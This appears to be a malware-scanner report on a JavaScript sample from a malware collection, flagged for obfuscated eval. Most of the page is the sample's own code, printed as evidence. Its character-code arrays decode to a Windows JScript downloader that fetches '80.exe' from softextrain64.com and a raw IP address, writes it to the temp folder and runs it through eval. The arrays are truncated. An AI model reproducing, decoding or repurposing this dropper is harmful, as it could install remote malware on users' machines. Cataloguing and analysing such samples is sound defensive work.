Suspicious 80% javascript-malware-collection Download

20151209_828f96a280ebab4b23ed2916bb3a26a4.js

Obfuscated eval of malicious payload

parseInt toString radix remapObfuscated increment/decrement via arithmetic
SHA-256ad78a91ae7c35b5fd9aa7da3c02283b2735e93be03d9f020cca8b1e8745ce86a

Evidence

Obfuscated increment/decrement via arithmetic lines 2–12
2:1773… 25]='}';JVNsT[126]='~';JVNsT[127]='';
3function ZmJPR(OnYFUOCgCNi,zOXaAXXkEWvAS,oHNmAUes){flOw=parseInt(OnYFUOCgCNi,zOXaAXXkEWvAS);khAzv=flOw.toString(oHNmAUes);return khAzv;}function PrvdWobQspmhobO(FYrgvbnUMgowioJJF){eval(FYrgvbnUMgowioJJF)}
4function evLdKCNQQEwxsouHxQNCqjpeDXfslKQeWaLfZlPWAtOTYqJcaSwsBh(HBayZKNsNqFpj,PUFCDdJdDwxoVW){ return JVNsT[ZmJPR(HBayZKNsNqFpj[PUFCDdJdDwxoVW],(1652+708)/236,(4915+185)/510)];}
5function sRFCppX(yKnrJnaJLxldpcEyJDehPnPNBDdiitUvnidt) {return !isNaN(parseFloat(yKnrJnaJLxldpcEyJDehPnPNBDdiitUvnidt)) && isFinite(yKnrJnaJLxldpcEyJDehPnPNBDdiitUvnidt);}
6function bdYgAeCKzlk(EgHqNEOF,LAUouA){return EgHqNEOF.split(LAUouA)}
7var p=["13","10","13","10","118","97","114","32","73","32","61","32","34","115","111","102","116","101","120","116","114","97","105","110","54","52","46","99","111","109","47","56","48","46","101","120","101","63","32","52","54","46","49","53","49","46","53","50","46","49","57","55","47","56","48","46","101","120","101","63","32","63","32","63","34","46","115","112","108","105","116","40","34","32","34","41","59","13","10","118","97","114","32","112","98","112","32","61","40","40","49","47","42","75","107","66","68","54","54","52","57","54","48","53","57","54","110","54","52","56","57","54","55","117","77","51","53","52","49","57","51","101","79","105","90","42","47","41","63","34","87","83","99","114","105","34","58","34","34","41","43","34","112","116","46","83","104","101","108","108","34","59","13","10","118","97","114","32","82","79","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","112","98","112","41","59","13","10","118","97","114","32","109","82","32","61","32","34","37","84","69","77","80","37","92","92","34","59","13","10","118","97","114","32","78","113","85","32","61","32","82","79","46","69","120","112","97","110","100","69","110","118","105","114","111","110","109","101","110","116","83","116","114","105","110","103","115","40","109","82","41","59","13","10","118","97","114","32","117","71","97","32","61","32","34","50","46","88","77","76","72","34","59","13","10","118","97","114","32","99","119","87","32","61","32","117","71","97","32","43","32","34","84","84","80","34","59","13","10","118","97","114","32","72","104","32","61","32","116","114","117","101","32","32","44","32","79","72","118","111","32","61","32","34","65","68","79","68","34","59","13","10","118","97","114","32","103","86","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","34","77","83","34","43","34","88","77","76","34","43" …
8var u=["54","49","53","50","59","13","10","102","111","114","32","40","118","97","114","32","101","61","115","119","78","59","32","101","60","73","46","108","101","110","103","116","104","59","32","101","43","43","41","32","32","123","13","10","32","32","118","97","114","32","74","113","32","61","32","48","59","13","10","32","32","116","114","121","32","32","123","13","10","9","112","111","105","32","61","32","34","71","69","84","34","59","9","32","13","10","32","32","32","32","103","86","46","111","112","101","110","40","112","111","105","44","34","104","116","116","112","58","47","47","34","43","73","91","101","93","43","85","44","32","102","97","108","115","101","41","59","32","103","86","46","115","101","110","100","40","41","59","32","105","102","32","40","103","86","46","115","116","97","116","117","115","32","61","61","32","57","56","48","45","55","56","48","41","32","32","123","13","10","32","32","32","32","32","32","82","82","108","46","111","112","101","110","40","41","59","32","82","82","108","46","116","121","112","101","32","61","32","49","59","32","82","82","108","46","119","114","105","116","101","40","103","86","46","114","101","115","112","111","110","115","101","66","111","100","121","41","59","32","105","102","32","40","82","82","108","46","115","105","122","101","32","62","32","49","56","55","52","49","45","56","49","56","41","32","32","123","13","10","32","32","32","32","32","32","32","32","74","113","32","61","32","49","59","32","82","82","108","46","112","111","115","105","116","105","111","110","32","61","32","48","59","32","82","82","108","46","115","97","118","101","84","111","70","105","108","101","47","42","50","75","110","57","54","52","117","86","111","51","42","47","40","78","113","85","47","42","118","103","81","66","57","48","87","84","108","109","42","47","43","77","79","97","121","74","74","85","43","34","46","101","120","101","34","44","52","45","50","41","59","32","116","114","121","32","32","123","13","10","32","32","32","32","3 …
9var GBpEQ=[p,u];
10var LtxibsGpD=[];
11function JqRsCiOwqolHbQdOM(GBpEQ){JuugTArBlnV= '';for(cgqIDWZnDqR=(-335+335)/56; cgqIDWZnDqR < (-300+424)/62; cgqIDWZnDqR++) {LtxibsGpD[cgqIDWZnDqR]=(-996+996)/338; while(true) { if(LtxibsGpD[cgqIDWZnDqR] > GBpEQ[cgqIDWZnDqR].length-(-144+912)/768) { break; } if (sRFCppX(ZmJPR(GBpEQ[cgqIDWZnDqR][LtxibsGpD[cgqIDWZnDqR]],(7178+552)/773,(1498+492)/199))) {JuugTArBlnV += evLdKCNQQEwxsouHxQNCqjpeDXfslKQeWaLfZlPWAtOTYqJcaSwsBh([GBpEQ[cgqIDWZnDqR][LtxibsGpD[cgqIDWZnDqR]]], (-438+438)/380);} LtxibsGpD[cgqIDWZnDqR]++;}} return JuugTArBlnV}
12PrvdWobQspmhobO(JqRsCiOwqolHbQdOM(GBpEQ));

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